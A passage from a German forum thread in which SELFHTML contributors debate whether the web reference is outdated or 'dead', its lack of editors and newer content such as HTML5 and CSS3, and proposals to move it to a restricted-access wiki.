        Aber selbst wenn die Zielgruppe von SELFHTML in Zukunft nur noch einen Teil der Autoren im Web umfaßt und nicht mehr jeden, der irgendetwas publizieren will, kann dieser Teil trotzdem noch sehr groß sein. Da insgesamt immer mehr Menschen im Web publizieren, kann diese ›Nische‹ durchaus größer werden als es die Gesamtheit zu Beginn war.
        Die größte Einschränkung der Zielgruppe scheint mir die deutsche Sprache zu sein – aber zu fordern, alles zusätzlich noch auf Englisch (und theoretisch weitere Sprachen) zu übersetzen, wo die deutsche Originalversion noch gar nicht up to date ist, wäre freilich sinnlos.

        und geht wohl in die Richtung zentralerer Strukturen (ein paar wenige "Webgiganten", bei denen sich fast das ganze Geschehen abspielt).

        Das entscheidende Wort hier ist »fast«. Es bleibt genug dezentral organisiertes übrig. Es gibt auch immer noch massenhaft Leute, die nicht nur twittern oder einen fertigen Blog einsetzen, sondern etwas wirklich eigenes bauen wollen, wie die zahlreichen Fragen in diesem Forum beweisen.

        Und, wie Stefan schon angemerkt hat, auch Experten schauen immer mal wieder irgendwas nach. In einer umfassenden Referenz wie SELFHTML steht immer mehr drin, als irgendjemand sich auswendig merken könnte.

        Viele Grüße vom Længlich

        --
        Mein aktueller Gruß ist:
        Chamorro (gesprochen auf Guam)
    5. Hi,

      Ist SelfHTML tot?
      Es wäre besser, wenn das Dev-Team offen zugeben würde: wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure, und auch konzeptionell ist manches noch unklar. Wir wünschen uns eine offene Diskussion in der Webszene darüber, wie es mit SELFHTML weitergehen soll.

      Naja, und dann geben sie es zu (eigentlich wurde das schon zugegeben, als es zu Kritik auf ein Artikel im SelfHML-Blog kam), und was dann?

      Offene Diskussion in der Webszene zu verschiedensten Themen sind immer wieder wünschenswert. Aber nicht immer werden diese Diskussionen wirklich geführt.
      Eine Teilnahme an einer Diskussion findet doch hauptsächlich dann statt, wenn die Leute persönlich betroffen sind. Sind die Experten dies? Nutzen die wirklich noch SELFHTML?
      Wieviel Bedeutung hat denn SELFHTML in der professionellen Webszene (darunter eben auch Leute, die Geld damit verdienen, dass andere keine Ahnung von HTML haben) noch?
      Ja, SELFHTML wird empfohlen als Nachschlagewerk. Als Starthilfe. Als Kompendium. Für Anfänger.

      Aber der professionelle Webworker, der schon über die Anfänge hinausgeht, wird (mit Ausnahme von ein paar wenigen guten Seiten wie z.B. die .htaccess-Anleitung) *neue* Informationen eher woanders suchen.
      WCAG2, CSS3, HTML5 ... das ist alles zu neu für SELFHTML. Aber voll im Fokus der Webentwickler heute.
      Und noch weiter: Ganz neue Dinge, bei denen noch niemand weiss, wie und ob sie sich entwickeln werden, findet man hier auch nicht.
      Im Form vielleicht ein halbes Jahr später. Pubsubhubbub? Schon gehört?

      Die Webszene wird nicht auf SELFHTML warten.
      Die hat dazu gar keine Zeit, die muss schaffen, die muss tun!

      "Kunden warten nicht!"

      Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme. Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.

      Die Webkrauts sind noch eher als SELFHTML eine losere Gruppierung.
      Was auch richtig  und gut ist, denn jeder von den Leuten hat seine eigene Projekte.
      Man kennt sich und unterstützt sich gegenseitig. Man weiss wenn man fragen kann, wenn es ein Problem auf einem Gebiet gibt. Aber alle Webkrauts sind doch eigenständig und haben dadurch eigenen Schwerpunkte.

      Es ist eine nette Idee, aber die Frage ist: Was bringt es denn Designer und Entwickler, die im starken Maße Individualisten sind, eine Werk wie SELFHTML zu betreiben?
      Oder andersrum gefragt: Wer glaubt ernsthaft, ein Programmierer, der schon dadurch genervt ist, die Aufrufargumente der Funktionen eines JavaScriptprogrammes zu beschreiben, würde Spaß daran haben, eine richtig große Dokumentation fortzuführen?

      Zu bedenken ist auch: Die Webkrauts bestehen zum großen Teil aus Leuten, die eben durch ihre Tätigkeit bei Agenturen oder als Freiberufler sehr drauf achten, daß sie als Person gut wahrgenommen werden.
      Eine Redaktion, wie sie bei SELFHTML dagegen vorhanden ist, läßt einzelne Autoren von Artikel in die "anonyme Masse" versinken.

      Eine Schande wäre es nur, den guten Namen, den SELFHTML in weiten Kreisen immer noch hat, verrotten zu lassen, weil man zwar die "Hoheit" hat, aber letztlich nichts tut.

      Die Gefahr wiederum ist noch gering, denn nach wie vor gilt SELFHHTML wegen seines Umfangs als super Nachschlagewerk zum EInstieg.

      Es nimmt IMHO eine ähnliche Stellung ein, wie RFCs und Drafts des W3Cs.
      Es ist sehr gut, wenn man mal einige Dinge nachchecken will.
      Wie oben geschrieben ist auch alles was hier zu finden ist, nicht gerade der neueste Stand. Kann es auch nicht sein.
      Denn bei Dingen wie Pubsubhubbub, Microformats, OpenSocial, etc pp. sind viele Dinge und die Zukunft noch ungewiss. Von SELFHTML erwartet man jedoch "valide" Informationen. Und keine Kristallkugeln.

      Kein Draft, kein technisches Handbuch ersetzt die Kreativität. Oder neue, innovative Ideen, wie man eine Website gestaltet.
      Die findet man hier wahrlich nicht mehr.

      Sowas kann man hier auch nicht finden, denn dafür braucht es Indiviualisten, die einfach so ihr eigenes DIng durchziehen ohne durch redaktionelle Erwägungen behindert zu werden.

      Lange Rede, kurzer Sinn: Ich glaub nicht das SELFHTML sterben wird. Es wird immer ein Bedarf nach seriösen, validen Informationen geben, die man nachschlagartig finden kann. Das leistet SELFHTML und dies tut es gut.
      Aber Innovationen, neue Trends, neue Technologien entwicklen, ausarbeiten und darüber thematisieren, das ist etwas was woanders geschieht.

      Ciao,
        Wolfgang

      1. Hallo Wolfgang,

        Eine Teilnahme an einer Diskussion findet doch hauptsächlich dann statt, wenn die Leute persönlich betroffen sind. Sind die Experten dies? Nutzen die wirklich noch SELFHTML?

        Ich glaube, viele gucken öfter rein als ihnen bewusst ist. In welcher Reihenfolge werden die vier Werte von padding und margin noch mal notiert? Wie war noch mal das Länderkürzel von Venezuela? Wie war das mit dem Splicen von Arrays noch mal? Wie adressiere ich noch mal das n-te Element einer Liste in XPath?

        Leider werden sie jedoch bei immer mehr solcher Detailfragen enttäuscht. Ab welcher Version unterstützt Opera noch mal Transparenz? Wie geht das mit den Fortschrittsbalken beim File-Upload? Als wievielten Parameter notiert man in der 2D-canvas-API noch mal den Deckungsfaktor für shadowColor?

        So was alles könnte doch prima in SELFHTML stehen. Da es das aber nicht tut, wird SELFHTML ganz langsam, aber ebenso sicher immer unerheblicher. Beziehungsweise: es ist ärgerlich, wegen padding in SELFHTML nachschlagen zu können, aber wegen shadowColor wo ganz anders suchen zu müssen. Sicherlich ist jeder professionelle Entwickler damit vertraut, mit vielen verschiedenen Informationsquellen zu arbeiten. Aber SELFHTML hat nun mal diesen Rundum-Charakter, und es ist für viele Leute nicht einfach zu lernen, was in SELFHTML zu finden ist und was nicht. Derzeit kann man nur sagen: was seit 2007 dazu gekommen ist, steht definitiv nicht drin.

        Allein eine regelmäßige Vervollständigung und Erweiterung der reinen Referenzinformationen im SELFHTML-Stil (eigenes Wording, eigene Beispiele, gesammelte Bemerkungen, Einschränkungen usw.) würde die Doku für Entwickler weiterhin attraktiv machen.

        Ja, SELFHTML wird empfohlen als Nachschlagewerk. Als Starthilfe. Als Kompendium. Für Anfänger.

        Denen will es ja auch helfen. Doch wenn es nichts anderes wollte, würden ein paar knappe Tutorials ohne jede Referenzinformation genügen. Es will aber mehr - zumindest wollte es das mal.

        WCAG2, CSS3, HTML5 ... das ist alles zu neu für SELFHTML. Aber voll im Fokus der Webentwickler heute.

        Richtig. Also gäbe es genug zu tun.

        Und noch weiter: Ganz neue Dinge, bei denen noch niemand weiss, wie und ob sie sich entwickeln werden, findet man hier auch nicht.

        Es wäre aber nicht unbedingt klug, bei allem immer zu erwarten, ob es ein Erfolg wird. Was gabs nicht schon alles in SELFHTML - von HTML-3.0-Elementen für Fußnoten über Netscapes JavaScript-basierte Stylesheets bis hin zu den CSS-Audio-Eigenschaften. Alles so ziemlich für die Katz geschrieben. Kommt halt vor, so was.

        Die Webkrauts sind noch eher als SELFHTML eine losere Gruppierung.

        Was auch richtig  und gut ist, denn jeder von den Leuten hat seine eigene Projekte.

        Man kennt sich und unterstützt sich gegenseitig. Man weiss wenn man fragen kann, wenn es ein Problem auf einem Gebiet gibt. Aber alle Webkrauts sind doch eigenständig und haben dadurch eigenen Schwerpunkte.

        Trotzdem haben sie auch eine Einführung in HTML5, wer immer die geschrieben haben mag. Also ist es doch wohl nicht ganz verkehrt anzunehmen, dass dort eine grundsätzliche Bereitschaft da ist, sich für das gemeinsame Projekt zu engagieren.

        Oder andersrum gefragt: Wer glaubt ernsthaft, ein Programmierer, der schon dadurch genervt ist, die Aufrufargumente der Funktionen eines JavaScriptprogrammes zu beschreiben, würde Spaß daran haben, eine richtig große Dokumentation fortzuführen?

        Ich predige ja auch schon seit Jahren, dass Programmierer keine Dokus über Programmiersprachen schreiben sollten. Redakteure programmieren ja auch keine komplexen Webanwendungen :-)

        Eine Redaktion, wie sie bei SELFHTML dagegen vorhanden ist, läßt einzelne Autoren von Artikel in die "anonyme Masse" versinken.

        Siehst du, und schon bist du mittendrin in den Maßnahmen, die einem möglichen Engagement förderlich wären.

        Lange Rede, kurzer Sinn: Ich glaub nicht das SELFHTML sterben wird. Es wird immer ein Bedarf nach seriösen, validen Informationen geben, die man nachschlagartig finden kann. Das leistet SELFHTML und dies tut es gut.

        Aber nicht mehr sehr lange, wenn nicht irgendwann etwas getan wird. Und genau darum geht es doch hier. Es ist tatsächlich etwas verwegen, SELFHTML als "tot" zu bezeichnen, wenn es täglich noch von tausenden Usern verwendet wird. Aber was soll man mit einem "Nachschlagewerk", das einfach auf irgendeinem historischen Stand der Technik stehen geblieben ist? Richtig. Man benutzt ein neueres, sobald man eins findet.

        viele Grüße

        Stefan Münz

        1. So was alles könnte doch prima in SELFHTML stehen. Da es das aber nicht tut, wird SELFHTML ganz langsam, aber ebenso sicher immer unerheblicher. Beziehungsweise: es ist ärgerlich, wegen padding in SELFHTML nachschlagen zu können, aber wegen shadowColor wo ganz anders suchen zu müssen. Sicherlich ist jeder professionelle Entwickler damit vertraut, mit vielen verschiedenen Informationsquellen zu arbeiten. Aber SELFHTML hat nun mal diesen Rundum-Charakter, und es ist für viele Leute nicht einfach zu lernen, was in SELFHTML zu finden ist und was nicht. Derzeit kann man nur sagen: was seit 2007 dazu gekommen ist, steht definitiv nicht drin.

          Ja, aus dem Grund halte ich das aktuelle vorhaben SELFHTML neu zu schreiben für absurd. Das bestehende Überarbeiten und Ergänzen. - am besten ohne Versionierung und jedes Dokument einzeln (wie in einem Wiki) wäre wesentlich schlauer.

          1. Ja, aus dem Grund halte ich das aktuelle vorhaben SELFHTML neu zu schreiben für absurd. Das bestehende Überarbeiten und Ergänzen. - am besten ohne Versionierung und jedes Dokument einzeln (wie in einem Wiki) wäre wesentlich schlauer.

            Sehe ich auch so. Der Umfang rechtfertigt ein Wiki. SelfHTML weiterhin als großes ganzes zu bearbeiten und zu versionieren ist ebenso absurd wie es komplett neu zu schreiben.

            Vielleicht sollte man dazu übergehen z.B. neu Elemente, Attribute, etc.  mit Datum zu versehen, damit der Nutzer nachvollziehen kann seit wann es den Krümel gibt, den er sich gerade ansieht.

            Gruß
            Basti

          2. Ja, aus dem Grund halte ich das aktuelle vorhaben SELFHTML neu zu schreiben für absurd. Das bestehende Überarbeiten und Ergänzen. - am besten ohne Versionierung und jedes Dokument einzeln (wie in einem Wiki) wäre wesentlich schlauer.

            Selfhtml müsste eigentlich gar nichts dokumentieren ausser seiner eigenen API. Selfhtml hätte lediglich als eine Vereinsgestütze Referenz zu im SelfHTML-Stil verfassten Seiten zu operieren und diesen Seiten durch die Aufnahme in den Index auch ein Gütesiegel zu geben.
            Die Doku sei dezentral, ihre Verlinkung und ihr Zugang aber zentral.
            Ich denke da nicht nur an Navigationen, sondern weitaus flexiblere Suchmethoden wie Tags und Meta-Informationssuche.
            Ich sehe keinen Sinn in der strikten thematischen Einteilung. Viele Artikel gehören zu mehreren Themen, und sollen auch mehrdimensional abrufbar sein.
            Selfhtml sollte vor allem das Forum betreuen und die API entwickeln.
            Die Aufgabe des Forums läge dann auch im Review dieser Fachartikel.
            Ja und ein revidiertes Forum wäre angebracht. Es ist eine Schande, dass man Postings nicht editieren kann.

            mfg Beat

            --
            ><o(((°>           ><o(((°>
               <°)))o><                     ><o(((°>o
            Der Valigator leibt diese Fische
            1. Ich sehe keinen Sinn in der strikten thematischen Einteilung. Viele Artikel gehören zu mehreren Themen, und sollen auch mehrdimensional abrufbar sein.

              Natürlich.

              Selfhtml sollte vor allem das Forum betreuen und die API entwickeln.

              Git? Sowas wie Levitation? prinzipiell ja, allerdings halte ich ein zentrales Wiki für einsteigerfreundlicher.

              1. Selfhtml sollte vor allem das Forum betreuen und die API entwickeln.

                Git? Sowas wie Levitation? prinzipiell ja, allerdings halte ich ein zentrales Wiki für einsteigerfreundlicher.

                Das sind Wege, die sich gegenseitig nicht ausschliessen.
                Statt dass ein Autor seinen Beitrag dezentral erstellt, und lediglich Ressourcen auf dem SELFHTML-Repositorium einbindet, kannst du natürlich eine Webgui für Artikel bereitstellen, die dann direkt auf dem Selfhtml-Server gehostet werden.

                Ich meine entscheidend soll nicht sein, wie ein Autor seine Artikel erstellt, sondern ob das Resultat am Schluss auch SELFHTML-Valide ist.

                mfg Beat

                --
                ><o(((°>           ><o(((°>
                   <°)))o><                     ><o(((°>o
                Der Valigator leibt diese Fische
            2. Lieber Beat,

              Es ist eine Schande, dass man Postings nicht editieren kann.

              zumindest in einem sinnvollen Zeitfenster sollte diese Möglichkeit für registrierte User bestehen - volle Zustimmung.

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
    6. Tach auch Stefan,

      Es wäre besser, wenn das Dev-Team offen zugeben würde: wir schaffen das so nicht, wir haben zu wenig Manpower, zu wenig Zeit, uns fehlen typische Redakteure, und auch konzeptionell ist manches noch unklar. Wir wünschen uns eine offene Diskussion in der Webszene darüber, wie es mit SELFHTML weitergehen soll.

      Meiner Meinung nach gibt es da nicht viel zuzugeben, der Stand der Entwicklung spricht für sich.
      Ich bin nicht offizieller Redakteur, sondern betreue eher das "Backend", spreche auch somit nicht für das "Projekt", sondern als Mensch bei SELF, wenn's sein muß auch als Vorstand.

      Leider hat das Projekt meiner Meinung nach zu sehr den Hang zum großen Wurf, dumm nur, daß man, bis es den großen Wurf zu sehen gibt, verdammt lange warten muß. Das Redaktionssystem inclusive eigenem SDML-Dialekt ist großartig und sehr ausgefuchst, wenn man alle Tools erstmal installiert und konfiguriert hat, läßt sich wunderbar damit arbeiten. Bis es so weit war, daß alles einsatzbereit war, ist viel Zeit vergangen, nach außen hin passierte nichts, selbst Redakteure voller Elan hat es schon mal zu lange gedauert, bis es endlich losgehen kann. Ein bißchen mehr "erstmal machen und dann verbessern" wäre an dieser Stelle sicher besser gewesen.

      Davon ab ist es schwer zu vermitteln, daß man bei SELF Ideen, Korrekturen oder ähnliches in einen Bugtracker eintragen soll, wo man doch heutzutage überall nur noch Kommentare absetzt, in Wiki-Manier die Änderung eben rasch selbst macht oder einen Tweet raushaut.

      A propos Webszene: Was ist Deiner Meinung nach "die Szene"? Ich sehe das sehr ähnlich wie Wolfgang und andere hier, die "Szene" ist aufgeteilt in Leute, die sich für aktuelle Entwicklungen interessieren, nennen wir sie von mir aus Experten oder Profis, da geht es um Dinge wie HTML5 oder CSS3, die sehe ich nicht wirklich als Zielgruppe für SELFHTML, viel eher sehe ich in ihnen diejenigen, die mal eben schnell einen Fehler korrigieren oder ein "geht auch in Browser XY" ergänzen, wenn sie es könnten. Die "Anfänger" setzen heutzutage ein WP auf, um eine "Homepage" zu haben. Trotzdem oer gerade deswegen wäre für beide Gruppen ein umfassendes Nachschlagewerk auf jeden Fall wertvoll und SELFHTML somit erhaltenswert.

      Es wäre noch besser, wenn eine solche offene Diskussion über die Zukunft von SELFHTML dann auch tatsächlich zustande käme. Vielleicht wären inhaltlich aktivere Gruppen wie etwa die Webkrauts bereit, die Weiterentwicklung von SELFHTML zu übernehmen und in ihr eigenes Konzept zu integrieren.

      Na, ich weiß nicht recht, die Webkrauts haben eine ganz eigene Struktur und eigene Sorgen, ob sie das "Sorgenkind SELF" unter ihre Fittiche nehmen, wage ich zu bezweifeln. Bisher haben sie sich außer hier noch nicht geäußert.

      Wir können gerne wieder eine Wiki-Diskussion beginnen, aber selbst der Übertrag der vorhandenen Inhalte bedeutet ein immenses Stück Arbeit, das getan sein will, zusätzlich würde die bisher (vielleicht auch zu sehr im Verborgenen) geleistete Arbeit obsolet werden; das steht mir nicht zu, darüber zu entscheiden. Aber warum nicht, Diskussion kann fruchtbar sein.

      Über all solche Möglichkeiten lässt sich jedoch erst reden, wenn das Dev-Team ehrlich zugibt, dass es so nicht weitergehen kann. Das wäre überhaupt keine Schande. Eine Schande wäre es nur, den guten Namen, den SELFHTML in weiten Kreisen immer noch hat, verrotten zu lassen, weil man zwar die "Hoheit" hat, aber letztlich nichts tut

      Wer will das Scheitern der eigenen Konzeption und Vorgehensweise schon zugeben? 8>) Ich bin an dieser Stelle ein wenig ratlos, weil sich mir alle Alternativen als schwierig darstellen, Ideengabe per Diskussion schadet da sicher nicht. Vielleicht sollte man auch mal über ein SELF-Camp nachdenken, diese Idee halte ich für recht charmant, zum Einen schätze ich die Face-to-Face-Situation, zum Anderen gehen ja die Entwicklungen auf einem Haufen viel schneller.

      viele Grüße

      Maik

      --
      Margin-Regler am Control-Data-Tischrechner im RRZE Erlangen
      Mehr margin! Sag ich ja immer...
      1. Wir können gerne wieder eine Wiki-Diskussion beginnen, aber selbst der Übertrag der vorhandenen Inhalte bedeutet ein immenses Stück Arbeit.

        Natürlich, aber ob man die Inhalte nun in ein Wiki überträgt oder in ein anderes System ist egal - nur sobald sie im Wiki sind, kann jeder ordentlich mitarbeiten ohne sich einen Rattenschwanz an Software zu installieren.

        Wer will das Scheitern der eigenen Konzeption und Vorgehensweise schon zugeben? 8>) Ich bin an dieser Stelle ein wenig ratlos, weil sich mir alle Alternativen als schwierig darstellen, Ideengabe per Diskussion schadet da sicher nicht. Vielleicht sollte man auch mal über ein SELF-Camp nachdenken, diese Idee halte ich für recht charmant, zum Einen schätze ich die Face-to-Face-Situation, zum Anderen gehen ja die Entwicklungen auf einem Haufen viel schneller.

        Dann macht mal Urlaub in Salzburg und verantstaltet ein SELF-Camp, ich bin Live dabei - da hätten es die Wiener dann auch nicht so weit ;)

    7. Hallo Robert, Stefan und alle anderen...

      Also ich sag's mal wie ich es sehe.
      (Dafür werden mich dann wieder Einige hassen oder verspotten, aber ich stehe zu meiner eigenen Meinung und Rolle im self-Raum. "Ja danke, ihr könnt mich alle mal.... gern haben!") :-)
      Los geht's:

      Es wurden jahrelang Chancen vertan Mitstreiter ins Boot zu holen. Ob Anfänger die eine Übersetzung anfertigen wollten oder fortgeschrittene, die ihre Mithilfe anboten. Sicherlich muss man Anfänger-Devs erstmal ein wenig schulen damit der übliche Schreibstil eingehalten wird und die Qualität gesichert bleibt. Aber auch hier könnte die Idee mit dem Wiki wieder in's Spiel kommen.

      Mit Hilfe dieser neuen "Rekruten" würde mein zweitgrößter Kritikpunkt möglich werden: Delegation.
      Ich bin über die Jahre zu der Ansicht gelangt, dass die "Devs" einfach unfähig (oder unwillens) waren und sind Arbeit abzugeben und einzuteilen.
      Über die Hintergründe lässt sich nur vermuten, darauf will ich auch nicht näher eingehen.

      Ich könnte mir gut vorstellen, dass die Devs zusammen mit einer "kleinen Hundertschaft" an "Hilfs-Devs" durchaus in der Lage wären zumindest den Kern von selfHTML zu beackern: HTML.
      Und das sogar auf einem echtzeitnahem Stand.

      Ich denke, wenn man HTML in verschiedene kleinere Bereiche aufteilt, für die jeweils jemand aus dem Kreise der derzeitigen Devs zuständig ist und diese dann die verschiedenen Recherchen, Aktualisierungen, etc. an die "Hilfs-Devs" aufteilen kommt niemand in Stress oder Bedrängnis.

      Der Qualität wegen sollte ein mögliches Wiki natürlich nicht von jedem bearbeitet werden können, und evtl. sollten Änderungen auch dann nur über die für die Bereiche hHauptverantwortlichen Devs freigeschaltet werden.

      (HTML-)Versionsmarkierungen gibt es ja bereits, um auf aktuellste HTML-Entwicklungen fehlt eigentlich nur eine Markierung für neue Elemente, die noch den Status "Entwurf" haben. Sollte ein Element es dann später nicht in den Status des offiziellen Standards schaffen kann man dies immer noch andernorts archivieren, der Chronik wegen, oder so.

      Ferner denke ich sollte sich das Projekt vor allem wieder auf seine Wurzeln besinnen und wieder die meisten Anstrengungen in das Kernobjekt seiner Existenz stecken: pures HTML, gepaart mit aktuellem CSS.
      All die schönen Zusätze wie Scripting, Frameworks, Server-Konfiguration und so weiter sind schön und nett, aber für den Neueinstieg zunächst mal uninteressant und oft an anderer Stelle im Web wesentlich besser erklärt, meist auch gestützt durch eine große Community. Als exemplarische Beispiele seien PHP, Typo3 oder LAMP genannt.
      Ich vermag wohl zu verstehen, dass die Devs hier auch gerne Ihren persönlichen Wissensstand ausspielen möchten, aber ich denke das hat dem Projekt in den letzten Jahren doch eher geschadet und dem durchschnittlichen Nutzer nicht geholfen.
      Wer sich zusätzlich, zur Kernarbeit an selfHTML, profilieren möchte kann dies natürlich nach wie vor im Aktuell-Bereich tun.

      Mein Fazit für heute: Team reorganisieren und "back to the roots"!

      Und nun könnt ihr mich verteufeln und mir die Pest an den Hals wünschen...

      Gruß
      Basti

      1. Mein Fazit für heute: Team reorganisieren und "back to the roots"!

        Und vor allem: ein Wiki, hinter das Wiki kommt ein Proxy der die Seiten dann ausliefert - bearbeiten kann nur ein ausgewählter Kreis der vorerst 1:1 Inhalte vom aktuellen SELFHTML ins Wiki überträgt.

        Und nun könnt ihr mich verteufeln und mir die Pest an den Hals wünschen...

        Ich bin voll und ganz deiner Meinung.

      2. Lieber jsk,

        die Idee mit dem Wiki wieder in's Spiel kommen.

        oh ja...... ich fand die Idee die beste überhaupt. Warum nicht ein Wiki, das zunächst als "Community-Projekt" entsteht, woraus dann die eigentliche "offizielle" Doku abgeleitet wird? So wie die Idee einer gebundenen Wikipedia, bei der dann mittels redaktioneller Arbeit die Artikel in die gedruckte Ausgabe wandern, die es inhaltlich und qualitativ auch wert sind.

        Mit Hilfe dieser neuen "Rekruten" würde mein zweitgrößter Kritikpunkt möglich werden: Delegation.

        Ich bekenne mich schuldig. Seit anderthalb Jahren wartet SELFHTML auf erste Ergebnisse meiner Zusage, im HTML-Kapitel endlich einmal anzufangen. Aber wie das Leben eben so spielt...

        Der Qualität wegen sollte ein mögliches Wiki natürlich nicht von jedem bearbeitet werden können, und evtl. sollten Änderungen auch dann nur über die für die Bereiche hHauptverantwortlichen Devs freigeschaltet werden.

        Ja, handbearbeitete Anmeldungen, damit die User im Wiki zumindest nachweislich biologische Wesen sind. ;-)

        vor allem wieder auf seine Wurzeln besinnen und wieder die meisten Anstrengungen in das Kernobjekt seiner Existenz stecken: pures HTML, gepaart mit aktuellem CSS.

        Oh ja! Das sehe auch ich als eine sehr wichtige Entscheidung an.

        Und nun könnt ihr mich verteufeln und mir die Pest an den Hals wünschen...

        Naja, ich stimme Dir im Kern Deiner Meinung voll und ganz zu!

        Liebe Grüße,

        Felix Riesterer.

        --
        ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
        1. Ja, handbearbeitete Anmeldungen, damit die User im Wiki zumindest nachweislich biologische Wesen sind. ;-)

          Dafür würde ansich ausreichen das Redaktionsteam zu verwenden + ein paar bekanntere Gesichert im Forum auszuwählen die ebenfalls mitschreiben wollen. Es muss ja nicht gleich eine Hundertschaft sein :)

          1. habe d'ehre

            Dafür würde ansich ausreichen das Redaktionsteam zu verwenden + ein paar bekanntere Gesichert im Forum auszuwählen die ebenfalls mitschreiben wollen. Es muss ja nicht gleich eine Hundertschaft sein :)

            für was dann ein Wiki, wenn die Schreibrechte wieder auf einen bestimmten Kreis beschränkt werden sollen?

            Servus

            1. Lieber Wilhelm,

              Dafür würde ansich ausreichen das Redaktionsteam zu verwenden + ein paar bekanntere Gesichert im Forum auszuwählen die ebenfalls mitschreiben wollen. Es muss ja nicht gleich eine Hundertschaft sein :)

              für was dann ein Wiki, wenn die Schreibrechte wieder auf einen bestimmten Kreis beschränkt werden sollen?

              sehr richtig! Ein Wiki legt die Hemmschwelle wesentlich niedriger, als der gegenwärtige Aufwand mit der im Moment notwendigen Softwareinstallation und Einarbeitung in das momentane Redaktionssystem. Zumindest hat mich das bisher nachhaltig abgeschreckt, mich an das HTML-Kapitel der Doku zu machen. Und da man in einem Wiki (kenne nur MediaWiki wirklich) ja auch ältere Versionen einsehen kann, ist ja alles einigermaßen kontrollierbar - handbearbeitete Anmeldungen vorausgesetzt, damit wirklich nur Menschen in diesem Wiki fummeln.

              Liebe Grüße,

              Felix Riesterer.

              --
              ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
            2. Dafür würde ansich ausreichen das Redaktionsteam zu verwenden + ein paar bekanntere Gesichert im Forum auszuwählen die ebenfalls mitschreiben wollen. Es muss ja nicht gleich eine Hundertschaft sein :)

              für was dann ein Wiki, wenn die Schreibrechte wieder auf einen bestimmten Kreis beschränkt werden sollen?

              Wiki impliziert nicht unbedingt "Jeder darf mitmachen".

              Ein Wiki hat den Vorteil, dass man sofort und schnell bearbeiten kann. Wird ein Fehler gefunden, ein abschnitt unvollständig oder unverständlich ist, kann _jeder_ auf der Kommentar-/Diskussionsseite des Artikels diesen Umstand erfassen. Der dafür zuständige Redakteur (oder wer auch immer den Artikel beobachtet) kann den Fehler dann korrigieren.

              Aktuell muss man einen Fehler im Trac eintragen, dort gammelt das Zeug dann rum. Viele Kapazitäten gehen augenscheinlich drauf, weil jemand sich um Low-Level-Probleme kümmern muss. Eine fertige Software-Infrastruktur zu verwenden ist da imho wesentlich einfacher als selbst etwas proprietäres zu programmieren.

              Das Problem ist bei einem derart spezifischen Projekt, dass man mit einer so kleinen Stammautorenschaft (wie sie vermutlich existieren wird) nicht fundiert genug Vandalismus bekämpfen können wird.

              Darum die Beschränkung auf einen eingeschränkten Kreis. Das ist natürlich diskutabel, aber aufgrund meiner Erfahrung mit Wikis (dazu zählt in-deep Wissen um die Strukturen der Wikipedia, die Mitarbeit an anderen Wikis sowie mehrere interne Wikis die von mir betreut/genutzt werden/wurden) komme ich zu dieser Meinung.

              Ich muss jetzt etwas herumspinnen:

              • SELFHTML gilt nachwievor als _die_ Referenz im deutschen Sprachraum.
              • Die Wikipedia schwelgt seit Jahren in einer Kriese (habe sicher einige mitbekommen).
              • Der CCC sagt "die Technik" ist schuld, darum funktioniert die Wikipedia nicht.
              • Die Wikipedia-Elite glaubt dem CCC nicht, der CCC ist ein haufen Hardware-Bastler die keine Ahnung haben.
              • SELFHTML könnte durch die Verwendung von MediaWiki und Erfahrung mit MediaWiki sammeln und Zeit die übrig bleibt (weil keine eigene Infrastruktur gepflegt werden muss) in die Verbesserung von MediaWiki stecken.
              • SELFHTML ist kompetent wenn es um Webtechnologien geht und könnte von den Wikipedia-Leute eher akzeptiert werden als die Meinung des CCC.
              • SELFHTML als antiker Dinosaurier der den Zug "Web 2.0" verpasst hat, rettet ironischerweise die Wikipedia (der Inbegriff von "Web 2.0").
              • SELFHTML schafft den Sprung auf den Web-2.0-Zug und liegt somit am Puls der Zeit.

              Es ist ja bereits ein Wunder dass SELFHTML über ein Blog verfügt ;)

              1. habe d'ehre

                Wiki impliziert nicht unbedingt "Jeder darf mitmachen".

                dann kann man genauso mit dem jetzigen Stand der Technik fortfahren.

                Ein Wiki hat den Vorteil, dass man sofort und schnell bearbeiten kann. Wird ein Fehler gefunden, ein abschnitt unvollständig oder unverständlich ist, kann _jeder_ auf der Kommentar-/Diskussionsseite des Artikels diesen Umstand erfassen. Der dafür zuständige Redakteur (oder wer auch immer den Artikel beobachtet) kann den Fehler dann korrigieren.

                ah ja, der Redakteur hat dann wieder keine Zeit usw. usw. usw.

                Aktuell muss man einen Fehler im Trac eintragen, dort gammelt das Zeug dann rum.

                Trac ist sowieso ein Kapitel für sich. Warum muss eine deutschsprachige Referenz wie Selfhtml mit seinen Usern auf englisch kommunizieren. Nur mal so als Einwand.

                Viele Kapazitäten gehen augenscheinlich drauf, weil jemand sich um Low-Level-Probleme kümmern muss. Eine fertige Software-Infrastruktur zu verwenden ist da imho wesentlich einfacher als selbst etwas proprietäres zu programmieren.

                Ketzer! :)

                Das Problem ist bei einem derart spezifischen Projekt, dass man mit einer so kleinen Stammautorenschaft (wie sie vermutlich existieren wird) nicht fundiert genug Vandalismus bekämpfen können wird.

                immer noch einfacher, als an der gsamten Doku zu werkeln. Und wieso sollte es in einem HTML-Wiki zu übergroßen Vandalismus kommen?

                Ich muss jetzt etwas herumspinnen:

                • SELFHTML gilt nachwievor als _die_ Referenz im deutschen Sprachraum.

                hmhh

                • Die Wikipedia schwelgt seit Jahren in einer Kriese (habe sicher einige mitbekommen).
                • Der CCC sagt "die Technik" ist schuld, darum funktioniert die Wikipedia nicht.
                • Die Wikipedia-Elite glaubt dem CCC nicht, der CCC ist ein haufen Hardware-Bastler die keine Ahnung haben.

                ff. gelöscht

                Was hat SELFHTML jetzt mit der Auseinandersetzung CCC/Wikipedia am Hut? Soll man jetzt noch eine Baustelle "SELF rettet Wikipedia" aufmachen? *hust*

                Es ist ja bereits ein Wunder dass SELFHTML über ein Blog verfügt ;)

